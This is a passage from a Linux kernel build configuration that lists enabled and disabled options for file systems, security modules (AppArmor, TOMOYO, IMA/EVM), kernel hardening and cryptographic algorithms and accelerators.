CONFIG_FANOTIFY_ACCESS_PERMISSIONS=y
CONFIG_QUOTA=y
CONFIG_QUOTA_NETLINK_INTERFACE=y
# CONFIG_QUOTA_DEBUG is not set
CONFIG_QUOTA_TREE=y
# CONFIG_QFMT_V1 is not set
CONFIG_QFMT_V2=y
CONFIG_QUOTACTL=y
CONFIG_AUTOFS_FS=y
CONFIG_FUSE_FS=y
CONFIG_CUSE=y
CONFIG_VIRTIO_FS=y
CONFIG_FUSE_DAX=y
# CONFIG_FUSE_PASSTHROUGH is not set
CONFIG_FUSE_IO_URING=y
CONFIG_OVERLAY_FS=y
CONFIG_OVERLAY_FS_REDIRECT_DIR=y
CONFIG_OVERLAY_FS_REDIRECT_ALWAYS_FOLLOW=y
CONFIG_OVERLAY_FS_INDEX=y
# CONFIG_OVERLAY_FS_NFS_EXPORT is not set
# CONFIG_OVERLAY_FS_XINO_AUTO is not set
# CONFIG_OVERLAY_FS_METACOPY is not set
CONFIG_OVERLAY_FS_DEBUG=y

#
# Caches
#
CONFIG_NETFS_SUPPORT=y
# CONFIG_NETFS_STATS is not set
# CONFIG_NETFS_DEBUG is not set
CONFIG_FSCACHE=y
# CONFIG_FSCACHE_STATS is not set
CONFIG_CACHEFILES=y
# CONFIG_CACHEFILES_DEBUG is not set
# CONFIG_CACHEFILES_ERROR_INJECTION is not set
# end of Caches

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_UDF_FS=y
# end of CD-ROM/DVD Filesystems

#
# DOS/FAT/EXFAT/NT Filesystems
#
CONFIG_FAT_FS=y
CONFIG_MSDOS_FS=y
CONFIG_VFAT_FS=y
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_FAT_DEFAULT_UTF8 is not set
CONFIG_EXFAT_FS=y
CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8"
# CONFIG_NTFS_FS is not set
CONFIG_NTFS3_FS=y
# CONFIG_NTFS3_64BIT_CLUSTER is not set
CONFIG_NTFS3_LZX_XPRESS=y
CONFIG_NTFS3_FS_POSIX_ACL=y
# end of DOS/FAT/EXFAT/NT Filesystems

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_VMCORE=y
# CONFIG_PROC_VMCORE_DEVICE_DUMP is not set
CONFIG_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_PROC_CHILDREN=y
CONFIG_PROC_PID_ARCH_STATUS=y
CONFIG_KERNFS=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
CONFIG_TMPFS_XATTR=y
# CONFIG_TMPFS_INODE64 is not set
CONFIG_TMPFS_QUOTA=y
CONFIG_ARCH_SUPPORTS_HUGETLBFS=y
CONFIG_HUGETLBFS=y
# CONFIG_HUGETLB_PAGE_OPTIMIZE_VMEMMAP_DEFAULT_ON is not set
CONFIG_HUGETLB_PAGE=y
CONFIG_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y
CONFIG_HUGETLB_PMD_PAGE_TABLE_SHARING=y
CONFIG_ARCH_HAS_GIGANTIC_PAGE=y
CONFIG_CONFIGFS_FS=y
# end of Pseudo filesystems

CONFIG_MISC_FILESYSTEMS=y
CONFIG_ORANGEFS_FS=y
CONFIG_ADFS_FS=y
# CONFIG_ADFS_FS_RW is not set
CONFIG_AFFS_FS=y
CONFIG_ECRYPT_FS=y
CONFIG_ECRYPT_FS_MESSAGING=y
CONFIG_HFS_FS=y
CONFIG_HFSPLUS_FS=y
CONFIG_BEFS_FS=y
# CONFIG_BEFS_DEBUG is not set
CONFIG_BFS_FS=y
CONFIG_JFFS2_FS=y
CONFIG_JFFS2_FS_DEBUG=0
CONFIG_JFFS2_FS_WRITEBUFFER=y
# CONFIG_JFFS2_FS_WBUF_VERIFY is not set
CONFIG_JFFS2_SUMMARY=y
CONFIG_JFFS2_FS_XATTR=y
CONFIG_JFFS2_FS_POSIX_ACL=y
CONFIG_JFFS2_FS_SECURITY=y
CONFIG_JFFS2_COMPRESSION_OPTIONS=y
CONFIG_JFFS2_ZLIB=y
CONFIG_JFFS2_LZO=y
CONFIG_JFFS2_RTIME=y
CONFIG_JFFS2_RUBIN=y
# CONFIG_JFFS2_CMODE_NONE is not set
CONFIG_JFFS2_CMODE_PRIORITY=y
# CONFIG_JFFS2_CMODE_SIZE is not set
# CONFIG_JFFS2_CMODE_FAVOURLZO is not set
CONFIG_UBIFS_FS=y
CONFIG_UBIFS_FS_ADVANCED_COMPR=y
CONFIG_UBIFS_FS_LZO=y
CONFIG_UBIFS_FS_ZLIB=y
CONFIG_UBIFS_FS_ZSTD=y
CONFIG_UBIFS_ATIME_SUPPORT=y
CONFIG_UBIFS_FS_XATTR=y
CONFIG_UBIFS_FS_SECURITY=y
# CONFIG_UBIFS_FS_AUTHENTICATION is not set
CONFIG_CRAMFS=y
CONFIG_CRAMFS_BLOCKDEV=y
CONFIG_CRAMFS_MTD=y
CONFIG_SQUASHFS=y
# CONFIG_SQUASHFS_FILE_CACHE is not set
CONFIG_SQUASHFS_FILE_DIRECT=y
CONFIG_SQUASHFS_DECOMP_MULTI=y
# CONFIG_SQUASHFS_CHOICE_DECOMP_BY_MOUNT is not set
# CONFIG_SQUASHFS_COMPILE_DECOMP_SINGLE is not set
CONFIG_SQUASHFS_COMPILE_DECOMP_MULTI=y
# CONFIG_SQUASHFS_COMPILE_DECOMP_MULTI_PERCPU is not set
# CONFIG_SQUASHFS_MOUNT_DECOMP_THREADS is not set
CONFIG_SQUASHFS_XATTR=y
# CONFIG_SQUASHFS_COMP_CACHE_FULL is not set
CONFIG_SQUASHFS_ZLIB=y
CONFIG_SQUASHFS_LZ4=y
CONFIG_SQUASHFS_LZO=y
CONFIG_SQUASHFS_XZ=y
CONFIG_SQUASHFS_ZSTD=y
CONFIG_SQUASHFS_4K_DEVBLK_SIZE=y
# CONFIG_SQUASHFS_EMBEDDED is not set
CONFIG_SQUASHFS_FRAGMENT_CACHE_SIZE=3
CONFIG_MINIX_FS=y
CONFIG_OMFS_FS=y
CONFIG_HPFS_FS=y
CONFIG_QNX4FS_FS=y
CONFIG_QNX6FS_FS=y
# CONFIG_QNX6FS_DEBUG is not set
CONFIG_ROMFS_FS=y
# CONFIG_ROMFS_BACKED_BY_BLOCK is not set
# CONFIG_ROMFS_BACKED_BY_MTD is not set
CONFIG_ROMFS_BACKED_BY_BOTH=y
CONFIG_ROMFS_ON_BLOCK=y
CONFIG_ROMFS_ON_MTD=y
CONFIG_PSTORE=y
CONFIG_PSTORE_DEFAULT_KMSG_BYTES=10240
CONFIG_PSTORE_COMPRESS=y
# CONFIG_PSTORE_CONSOLE is not set
# CONFIG_PSTORE_PMSG is not set
# CONFIG_PSTORE_RAM is not set
# CONFIG_PSTORE_BLK is not set
CONFIG_UFS_FS=y
CONFIG_UFS_FS_WRITE=y
# CONFIG_UFS_DEBUG is not set
CONFIG_EROFS_FS=y
# CONFIG_EROFS_FS_DEBUG is not set
CONFIG_EROFS_FS_XATTR=y
CONFIG_EROFS_FS_POSIX_ACL=y
CONFIG_EROFS_FS_SECURITY=y
# CONFIG_EROFS_FS_BACKED_BY_FILE is not set
CONFIG_EROFS_FS_ZIP=y
# CONFIG_EROFS_FS_ZIP_LZMA is not set
# CONFIG_EROFS_FS_ZIP_DEFLATE is not set
# CONFIG_EROFS_FS_ZIP_ZSTD is not set
# CONFIG_EROFS_FS_ZIP_ACCEL is not set
# CONFIG_EROFS_FS_PCPU_KTHREAD is not set
# CONFIG_EROFS_FS_PAGE_CACHE_SHARE is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=y
# CONFIG_NFS_V2 is not set
CONFIG_NFS_V3=y
CONFIG_NFS_V3_ACL=y
CONFIG_NFS_V4=y
# CONFIG_NFS_SWAP is not set
CONFIG_NFS_V4_0=y
CONFIG_NFS_V4_2=y
CONFIG_PNFS_FILE_LAYOUT=y
CONFIG_PNFS_BLOCK=y
CONFIG_PNFS_FLEXFILE_LAYOUT=y
CONFIG_NFS_V4_1_IMPLEMENTATION_ID_DOMAIN="kernel.org"
# CONFIG_NFS_V4_1_MIGRATION is not set
CONFIG_NFS_V4_SECURITY_LABEL=y
CONFIG_ROOT_NFS=y
CONFIG_NFS_FSCACHE=y
# CONFIG_NFS_USE_LEGACY_DNS is not set
CONFIG_NFS_USE_KERNEL_DNS=y
# CONFIG_NFS_DISABLE_UDP_SUPPORT is not set
CONFIG_NFS_V4_2_READ_PLUS=y
CONFIG_NFSD=y
# CONFIG_NFSD_V2 is not set
CONFIG_NFSD_V3_ACL=y
CONFIG_NFSD_V4=y
CONFIG_NFSD_PNFS=y
CONFIG_NFSD_BLOCKLAYOUT=y
CONFIG_NFSD_SCSILAYOUT=y
CONFIG_NFSD_FLEXFILELAYOUT=y
CONFIG_NFSD_V4_2_INTER_SSC=y
CONFIG_NFSD_V4_SECURITY_LABEL=y
# CONFIG_NFSD_LEGACY_CLIENT_TRACKING is not set
# CONFIG_NFSD_V4_POSIX_ACLS is not set
CONFIG_GRACE_PERIOD=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_NFS_ACL_SUPPORT=y
CONFIG_NFS_COMMON=y
# CONFIG_NFS_LOCALIO is not set
CONFIG_NFS_V4_2_SSC_HELPER=y
CONFIG_SUNRPC=y
CONFIG_SUNRPC_GSS=y
CONFIG_SUNRPC_BACKCHANNEL=y
CONFIG_RPCSEC_GSS_KRB5=y
# CONFIG_SUNRPC_DEBUG is not set
# CONFIG_SUNRPC_XPRT_RDMA is not set
CONFIG_CEPH_FS=y
CONFIG_CEPH_FSCACHE=y
CONFIG_CEPH_FS_POSIX_ACL=y
# CONFIG_CEPH_FS_SECURITY_LABEL is not set
CONFIG_CIFS=y
# CONFIG_CIFS_STATS2 is not set
CONFIG_CIFS_ALLOW_INSECURE_LEGACY=y
CONFIG_CIFS_UPCALL=y
CONFIG_CIFS_XATTR=y
CONFIG_CIFS_POSIX=y
CONFIG_CIFS_DEBUG=y
# CONFIG_CIFS_DEBUG2 is not set
# CONFIG_CIFS_DEBUG_DUMP_KEYS is not set
CONFIG_CIFS_DFS_UPCALL=y
CONFIG_CIFS_SWN_UPCALL=y
CONFIG_CIFS_SMB_DIRECT=y
CONFIG_CIFS_FSCACHE=y
# CONFIG_CIFS_ROOT is not set
# CONFIG_CIFS_COMPRESSION is not set
CONFIG_SMB_SERVER=y
# CONFIG_SMB_SERVER_SMBDIRECT is not set
# CONFIG_SMB_SERVER_CHECK_CAP_NET_ADMIN is not set
# CONFIG_SMB_SERVER_KERBEROS5 is not set
CONFIG_SMBDIRECT=y
CONFIG_SMBFS=y
# CONFIG_CODA_FS is not set
CONFIG_AFS_FS=y
# CONFIG_AFS_DEBUG is not set
CONFIG_AFS_FSCACHE=y
# CONFIG_AFS_DEBUG_CURSOR is not set
CONFIG_9P_FS=y
CONFIG_9P_FSCACHE=y
CONFIG_9P_FS_POSIX_ACL=y
CONFIG_9P_FS_SECURITY=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="utf8"
CONFIG_NLS_CODEPAGE_437=y
CONFIG_NLS_CODEPAGE_737=y
CONFIG_NLS_CODEPAGE_775=y
CONFIG_NLS_CODEPAGE_850=y
CONFIG_NLS_CODEPAGE_852=y
CONFIG_NLS_CODEPAGE_855=y
CONFIG_NLS_CODEPAGE_857=y
CONFIG_NLS_CODEPAGE_860=y
CONFIG_NLS_CODEPAGE_861=y
CONFIG_NLS_CODEPAGE_862=y
CONFIG_NLS_CODEPAGE_863=y
CONFIG_NLS_CODEPAGE_864=y
CONFIG_NLS_CODEPAGE_865=y
CONFIG_NLS_CODEPAGE_866=y
CONFIG_NLS_CODEPAGE_869=y
CONFIG_NLS_CODEPAGE_936=y
CONFIG_NLS_CODEPAGE_950=y
CONFIG_NLS_CODEPAGE_932=y
CONFIG_NLS_CODEPAGE_949=y
CONFIG_NLS_CODEPAGE_874=y
CONFIG_NLS_ISO8859_8=y
CONFIG_NLS_CODEPAGE_1250=y
CONFIG_NLS_CODEPAGE_1251=y
CONFIG_NLS_ASCII=y
CONFIG_NLS_ISO8859_1=y
CONFIG_NLS_ISO8859_2=y
CONFIG_NLS_ISO8859_3=y
CONFIG_NLS_ISO8859_4=y
CONFIG_NLS_ISO8859_5=y
CONFIG_NLS_ISO8859_6=y
CONFIG_NLS_ISO8859_7=y
CONFIG_NLS_ISO8859_9=y
CONFIG_NLS_ISO8859_13=y
CONFIG_NLS_ISO8859_14=y
CONFIG_NLS_ISO8859_15=y
CONFIG_NLS_KOI8_R=y
CONFIG_NLS_KOI8_U=y
CONFIG_NLS_MAC_ROMAN=y
CONFIG_NLS_MAC_CELTIC=y
CONFIG_NLS_MAC_CENTEURO=y
CONFIG_NLS_MAC_CROATIAN=y
CONFIG_NLS_MAC_CYRILLIC=y
CONFIG_NLS_MAC_GAELIC=y
CONFIG_NLS_MAC_GREEK=y
CONFIG_NLS_MAC_ICELAND=y
CONFIG_NLS_MAC_INUIT=y
CONFIG_NLS_MAC_ROMANIAN=y
CONFIG_NLS_MAC_TURKISH=y
CONFIG_NLS_UTF8=y
CONFIG_NLS_UCS2_UTILS=y
CONFIG_DLM=y
# CONFIG_DLM_DEBUG is not set
CONFIG_UNICODE=y
CONFIG_IO_WQ=y
# end of File systems

#
# Security options
#
CONFIG_KEYS=y
CONFIG_KEYS_REQUEST_CACHE=y
CONFIG_PERSISTENT_KEYRINGS=y
CONFIG_BIG_KEYS=y
CONFIG_TRUSTED_KEYS=y
# CONFIG_TRUSTED_KEYS_TPM is not set
# CONFIG_TRUSTED_KEYS_TEE is not set

#
# No trust source selected!
#
CONFIG_ENCRYPTED_KEYS=y
# CONFIG_USER_DECRYPTED_DATA is not set
CONFIG_KEY_DH_OPERATIONS=y
CONFIG_KEY_NOTIFICATIONS=y
# CONFIG_SECURITY_DMESG_RESTRICT is not set
# CONFIG_PROC_MEM_ALWAYS_FORCE is not set
CONFIG_PROC_MEM_FORCE_PTRACE=y
# CONFIG_PROC_MEM_NO_FORCE is not set
CONFIG_SECURITY=y
CONFIG_HAS_SECURITY_AUDIT=y
CONFIG_SECURITYFS=y
CONFIG_SECURITY_NETWORK=y
CONFIG_SECURITY_INFINIBAND=y
CONFIG_SECURITY_NETWORK_XFRM=y
CONFIG_SECURITY_PATH=y
# CONFIG_INTEL_TXT is not set
# CONFIG_STATIC_USERMODEHELPER is not set
# CONFIG_SECURITY_SELINUX is not set
# CONFIG_SECURITY_SMACK is not set
CONFIG_SECURITY_TOMOYO=y
CONFIG_SECURITY_TOMOYO_MAX_ACCEPT_ENTRY=64
CONFIG_SECURITY_TOMOYO_MAX_AUDIT_LOG=32
CONFIG_SECURITY_TOMOYO_OMIT_USERSPACE_LOADER=y
CONFIG_SECURITY_TOMOYO_INSECURE_BUILTIN_SETTING=y
CONFIG_SECURITY_APPARMOR=y
CONFIG_SECURITY_APPARMOR_DEBUG=y
CONFIG_SECURITY_APPARMOR_DEBUG_ASSERTS=y
# CONFIG_SECURITY_APPARMOR_DEBUG_MESSAGES is not set
CONFIG_SECURITY_APPARMOR_INTROSPECT_POLICY=y
CONFIG_SECURITY_APPARMOR_HASH=y
CONFIG_SECURITY_APPARMOR_HASH_DEFAULT=y
# CONFIG_SECURITY_APPARMOR_EXPORT_BINARY is not set
# CONFIG_SECURITY_APPARMOR_COMPRESSED_POLICY is not set
# CONFIG_SECURITY_APPARMOR_PARANOID_LOAD is not set
# CONFIG_SECURITY_LOADPIN is not set
CONFIG_SECURITY_YAMA=y
CONFIG_SECURITY_SAFESETID=y
CONFIG_SECURITY_LOCKDOWN_LSM=y
CONFIG_SECURITY_LOCKDOWN_LSM_EARLY=y
CONFIG_LOCK_DOWN_KERNEL_FORCE_NONE=y
# CONFIG_LOCK_DOWN_KERNEL_FORCE_INTEGRITY is not set
# CONFIG_LOCK_DOWN_KERNEL_FORCE_CONFIDENTIALITY is not set
CONFIG_SECURITY_LANDLOCK=y
CONFIG_SECURITY_LANDLOCK_LOG=y
# CONFIG_SECURITY_IPE is not set
CONFIG_INTEGRITY=y
CONFIG_INTEGRITY_SIGNATURE=y
CONFIG_INTEGRITY_ASYMMETRIC_KEYS=y
CONFIG_INTEGRITY_TRUSTED_KEYRING=y
CONFIG_INTEGRITY_AUDIT=y
CONFIG_IMA=y
CONFIG_IMA_MEASURE_PCR_IDX=10
CONFIG_IMA_LSM_RULES=y
CONFIG_IMA_NG_TEMPLATE=y
# CONFIG_IMA_SIG_TEMPLATE is not set
CONFIG_IMA_DEFAULT_TEMPLATE="ima-ng"
# CONFIG_IMA_DEFAULT_HASH_SHA1 is not set
CONFIG_IMA_DEFAULT_HASH_SHA256=y
# CONFIG_IMA_DEFAULT_HASH_SHA512 is not set
# CONFIG_IMA_DEFAULT_HASH_WP512 is not set
CONFIG_IMA_DEFAULT_HASH="sha256"
CONFIG_IMA_WRITE_POLICY=y
CONFIG_IMA_READ_POLICY=y
CONFIG_IMA_APPRAISE=y
# CONFIG_IMA_ARCH_POLICY is not set
# CONFIG_IMA_APPRAISE_BUILD_POLICY is not set
# CONFIG_IMA_APPRAISE_BOOTPARAM is not set
CONFIG_IMA_APPRAISE_MODSIG=y
# CONFIG_IMA_KEYRINGS_PERMIT_SIGNED_BY_BUILTIN_OR_SECONDARY is not set
# CONFIG_IMA_BLACKLIST_KEYRING is not set
# CONFIG_IMA_LOAD_X509 is not set
CONFIG_IMA_MEASURE_ASYMMETRIC_KEYS=y
CONFIG_IMA_QUEUE_EARLY_BOOT_KEYS=y
# CONFIG_IMA_DISABLE_HTABLE is not set
# CONFIG_IMA_STAGING is not set
# CONFIG_IMA_INIT_LATE_SYNC is not set
CONFIG_EVM=y
CONFIG_EVM_ATTR_FSUUID=y
CONFIG_EVM_ADD_XATTRS=y
# CONFIG_EVM_LOAD_X509 is not set
# CONFIG_DEFAULT_SECURITY_TOMOYO is not set
CONFIG_DEFAULT_SECURITY_APPARMOR=y
# CONFIG_DEFAULT_SECURITY_DAC is not set
CONFIG_LSM="landlock,lockdown,yama,safesetid,integrity,tomoyo,apparmor,bpf"

#
# Kernel hardening options
#

#
# Memory initialization
#
CONFIG_CC_HAS_AUTO_VAR_INIT_PATTERN=y
CONFIG_CC_HAS_AUTO_VAR_INIT_ZERO_BARE=y
CONFIG_CC_HAS_AUTO_VAR_INIT_ZERO=y
# CONFIG_INIT_STACK_NONE is not set
# CONFIG_INIT_STACK_ALL_PATTERN is not set
CONFIG_INIT_STACK_ALL_ZERO=y
CONFIG_CC_HAS_SANCOV_STACK_DEPTH_CALLBACK=y
# CONFIG_KSTACK_ERASE is not set
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y
# CONFIG_INIT_ON_FREE_DEFAULT_ON is not set
CONFIG_CC_HAS_ZERO_CALL_USED_REGS=y
# CONFIG_ZERO_CALL_USED_REGS is not set
# end of Memory initialization

#
# Bounds checking
#
CONFIG_FORTIFY_SOURCE=y
CONFIG_HARDENED_USERCOPY=y
# CONFIG_HARDENED_USERCOPY_DEFAULT_ON is not set
# end of Bounds checking

#
# Hardening of kernel data structures
#
CONFIG_LIST_HARDENED=y
CONFIG_RUST_BITMAP_HARDENED=y
CONFIG_BUG_ON_DATA_CORRUPTION=y
# end of Hardening of kernel data structures

CONFIG_CC_HAS_RANDSTRUCT=y
CONFIG_RANDSTRUCT_NONE=y
# CONFIG_RANDSTRUCT_FULL is not set
# end of Kernel hardening options
# end of Security options

CONFIG_ASYNC_CORE=y
CONFIG_ASYNC_MEMCPY=y
CONFIG_ASYNC_XOR=y
CONFIG_ASYNC_PQ=y
CONFIG_ASYNC_RAID6_RECOV=y
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=y
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_SIG=y
CONFIG_CRYPTO_SIG2=y
CONFIG_CRYPTO_SKCIPHER=y
CONFIG_CRYPTO_SKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG=y
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_AKCIPHER2=y
CONFIG_CRYPTO_AKCIPHER=y
CONFIG_CRYPTO_KPP2=y
CONFIG_CRYPTO_KPP=y
CONFIG_CRYPTO_ACOMP2=y
CONFIG_CRYPTO_ACOMP=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
CONFIG_CRYPTO_USER=y
# CONFIG_CRYPTO_SELFTESTS is not set
CONFIG_CRYPTO_NULL=y
CONFIG_CRYPTO_PCRYPT=y
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_AUTHENC=y
CONFIG_CRYPTO_KRB5ENC=y
# CONFIG_CRYPTO_BENCHMARK is not set
CONFIG_CRYPTO_ENGINE=y
# end of Crypto core or helper

#
# Public-key cryptography
#
CONFIG_CRYPTO_RSA=y
CONFIG_CRYPTO_DH=y
# CONFIG_CRYPTO_DH_RFC7919_GROUPS is not set
CONFIG_CRYPTO_ECC=y
CONFIG_CRYPTO_ECDH=y
# CONFIG_CRYPTO_ECDSA is not set
CONFIG_CRYPTO_ECRDSA=y
CONFIG_CRYPTO_MLDSA=y
# end of Public-key cryptography

#
# Block ciphers
#
CONFIG_CRYPTO_AES=y
CONFIG_CRYPTO_ANUBIS=y
CONFIG_CRYPTO_ARIA=y
CONFIG_CRYPTO_BLOWFISH=y
CONFIG_CRYPTO_BLOWFISH_COMMON=y
CONFIG_CRYPTO_CAMELLIA=y
CONFIG_CRYPTO_CAST_COMMON=y
CONFIG_CRYPTO_CAST5=y
CONFIG_CRYPTO_CAST6=y
CONFIG_CRYPTO_DES=y
CONFIG_CRYPTO_KHAZAD=y
CONFIG_CRYPTO_SEED=y
CONFIG_CRYPTO_SERPENT=y
CONFIG_CRYPTO_SM4=y
CONFIG_CRYPTO_SM4_GENERIC=y
CONFIG_CRYPTO_TEA=y
CONFIG_CRYPTO_TWOFISH=y
CONFIG_CRYPTO_TWOFISH_COMMON=y
# end of Block ciphers

#
# Length-preserving ciphers and modes
#
CONFIG_CRYPTO_ADIANTUM=y
CONFIG_CRYPTO_ARC4=y
CONFIG_CRYPTO_CHACHA20=y
CONFIG_CRYPTO_CBC=y
CONFIG_CRYPTO_CTR=y
CONFIG_CRYPTO_CTS=y
CONFIG_CRYPTO_ECB=y
CONFIG_CRYPTO_HCTR2=y
CONFIG_CRYPTO_LRW=y
CONFIG_CRYPTO_XCTR=y
CONFIG_CRYPTO_XTS=y
# end of Length-preserving ciphers and modes

#
# AEAD (authenticated encryption with associated data) ciphers
#
CONFIG_CRYPTO_AEGIS128=y
CONFIG_CRYPTO_CHACHA20POLY1305=y
CONFIG_CRYPTO_CCM=y
CONFIG_CRYPTO_GCM=y
CONFIG_CRYPTO_GENIV=y
CONFIG_CRYPTO_SEQIV=y
CONFIG_CRYPTO_ECHAINIV=y
CONFIG_CRYPTO_ESSIV=y
# end of AEAD (authenticated encryption with associated data) ciphers

#
# Hashes, digests, and MACs
#
# CONFIG_CRYPTO_BLAKE2B is not set
CONFIG_CRYPTO_CMAC=y
CONFIG_CRYPTO_HMAC=y
# CONFIG_CRYPTO_MD4 is not set
# CONFIG_CRYPTO_MD5 is not set
CONFIG_CRYPTO_RMD160=y
CONFIG_CRYPTO_SHA1=y
CONFIG_CRYPTO_SHA256=y
CONFIG_CRYPTO_SHA512=y
CONFIG_CRYPTO_SHA3=y
# CONFIG_CRYPTO_SM3 is not set
CONFIG_CRYPTO_STREEBOG=y
CONFIG_CRYPTO_WP512=y
CONFIG_CRYPTO_XCBC=y
# CONFIG_CRYPTO_XXHASH is not set
# end of Hashes, digests, and MACs

#
# CRCs (cyclic redundancy checks)
#
# CONFIG_CRYPTO_CRC32C is not set
# CONFIG_CRYPTO_CRC32 is not set
# end of CRCs (cyclic redundancy checks)

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=y
CONFIG_CRYPTO_LZO=y
CONFIG_CRYPTO_842=y
CONFIG_CRYPTO_LZ4=y
CONFIG_CRYPTO_LZ4HC=y
CONFIG_CRYPTO_ZSTD=y
# end of Compression

#
# Random number generation
#
# CONFIG_CRYPTO_DRBG is not set
# CONFIG_CRYPTO_JITTERENTROPY is not set
CONFIG_CRYPTO_KDF800108_CTR=y
# end of Random number generation

#
# Userspace interface (deprecated)
#
CONFIG_CRYPTO_USER_API=y
CONFIG_CRYPTO_USER_API_HASH=y
CONFIG_CRYPTO_USER_API_SKCIPHER=y
CONFIG_CRYPTO_USER_API_RNG=y
CONFIG_CRYPTO_USER_API_AEAD=y
CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE=y
# end of Userspace interface (deprecated)

#
# Accelerated Cryptographic Algorithms for CPU (x86)
#
CONFIG_CRYPTO_AES_NI_INTEL=y
CONFIG_CRYPTO_BLOWFISH_X86_64=y
CONFIG_CRYPTO_CAMELLIA_X86_64=y
CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64=y
CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64=y
CONFIG_CRYPTO_CAST5_AVX_X86_64=y
CONFIG_CRYPTO_CAST6_AVX_X86_64=y
CONFIG_CRYPTO_SERPENT_SSE2_X86_64=y
CONFIG_CRYPTO_SERPENT_AVX_X86_64=y
CONFIG_CRYPTO_SERPENT_AVX2_X86_64=y
CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64=y
CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64=y
CONFIG_CRYPTO_TWOFISH_X86_64=y
CONFIG_CRYPTO_TWOFISH_X86_64_3WAY=y
CONFIG_CRYPTO_TWOFISH_AVX_X86_64=y
CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64=y
# CONFIG_CRYPTO_ARIA_AESNI_AVX2_X86_64 is not set
# CONFIG_CRYPTO_ARIA_GFNI_AVX512_X86_64 is not set
CONFIG_CRYPTO_AEGIS128_AESNI_SSE2=y
# end of Accelerated Cryptographic Algorithms for CPU (x86)

CONFIG_CRYPTO_HW=y
CONFIG_CRYPTO_DEV_PADLOCK=y
CONFIG_CRYPTO_DEV_PADLOCK_AES=y
CONFIG_CRYPTO_DEV_PADLOCK_SHA=y
# CONFIG_CRYPTO_DEV_ATMEL_ECC is not set
# CONFIG_CRYPTO_DEV_ATMEL_SHA204A is not set
CONFIG_CRYPTO_DEV_CCP=y
CONFIG_CRYPTO_DEV_CCP_DD=y
# CONFIG_CRYPTO_DEV_SP_CCP is not set
# CONFIG_CRYPTO_DEV_SP_PSP is not set
# CONFIG_CRYPTO_DEV_NITROX_CNN55XX is not set
CONFIG_CRYPTO_DEV_QAT=y
CONFIG_CRYPTO_DEV_QAT_DH895xCC=y
CONFIG_CRYPTO_DEV_QAT_C3XXX=y
CONFIG_CRYPTO_DEV_QAT_C62X=y
# CONFIG_CRYPTO_DEV_QAT_4XXX is not set
# CONFIG_CRYPTO_DEV_QAT_420XX is not set
# CONFIG_CRYPTO_DEV_QAT_6XXX is not set
CONFIG_CRYPTO_DEV_QAT_DH895xCCVF=y
CONFIG_CRYPTO_DEV_QAT_C3XXXVF=y
CONFIG_CRYPTO_DEV_QAT_C62XVF=y
# CONFIG_CRYPTO_DEV_QAT_ERROR_INJECTION is not set
CONFIG_CRYPTO_DEV_VIRTIO=y
# CONFIG_CRYPTO_DEV_SAFEXCEL is not set
# CONFIG_CRYPTO_DEV_CCREE is not set
# CONFIG_CRYPTO_DEV_AMLOGIC_GXL is not set
CONFIG_ASYMMETRIC_KEY_TYPE=y
CONFIG_ASYMMETRIC_PUBLIC_KEY_SUBTYPE=y
CONFIG_X509_CERTIFICATE_PARSER=y
CONFIG_PKCS8_PRIVATE_KEY_PARSER=y
CONFIG_PKCS7_MESSAGE_PARSER=y
# CONFIG_PKCS7_WAIVE_AUTHATTRS_REJECTION_FOR_MLDSA is not set
CONFIG_PKCS7_TEST_KEY=y
CONFIG_SIGNED_PE_FILE_VERIFICATION=y
# CONFIG_FIPS_SIGNATURE_SELFTEST is not set

#
# Certificates for signature checking
#
CONFIG_MODULE_SIG_KEY="certs/signing_key.pem"
# CONFIG_MODULE_SIG_KEY_TYPE_RSA is not set
CONFIG_MODULE_SIG_KEY_TYPE_MLDSA_44=y
# CONFIG_MODULE_SIG_KEY_TYPE_MLDSA_65 is not set
# CONFIG_MODULE_SIG_KEY_TYPE_MLDSA_87 is not set
CONFIG_SYSTEM_TRUSTED_KEYRING=y
CONFIG_SYSTEM_TRUSTED_KEYS=""
# CONFIG_SYSTEM_EXTRA_CERTIFICATE is not set
CONFIG_SECONDARY_TRUSTED_KEYRING=y
# CONFIG_SECONDARY_TRUSTED_KEYRING_SIGNED_BY_BUILTIN is not set
# CONFIG_SYSTEM_BLACKLIST_KEYRING is not set
CONFIG_OPENSSL_SUPPORTS_ML_DSA=y
# end of Certificates for signature checking

CONFIG_CRYPTO_KRB5=y
# CONFIG_CRYPTO_KRB5_SELFTESTS is not set
CONFIG_BINARY_PRINTF=y

#
# Library routines
#
CONFIG_LINEAR_RANGES=y
# CONFIG_PACKING is not set
CONFIG_BITREVERSE=y
CONFIG_GENERIC_BITREVERSE=y
CONFIG_GENERIC_STRNCPY_FROM_USER=y
CONFIG_GENERIC_STRNLEN_USER=y
CONFIG_GENERIC_NET_UTILS=y
# CONFIG_CORDIC is not set
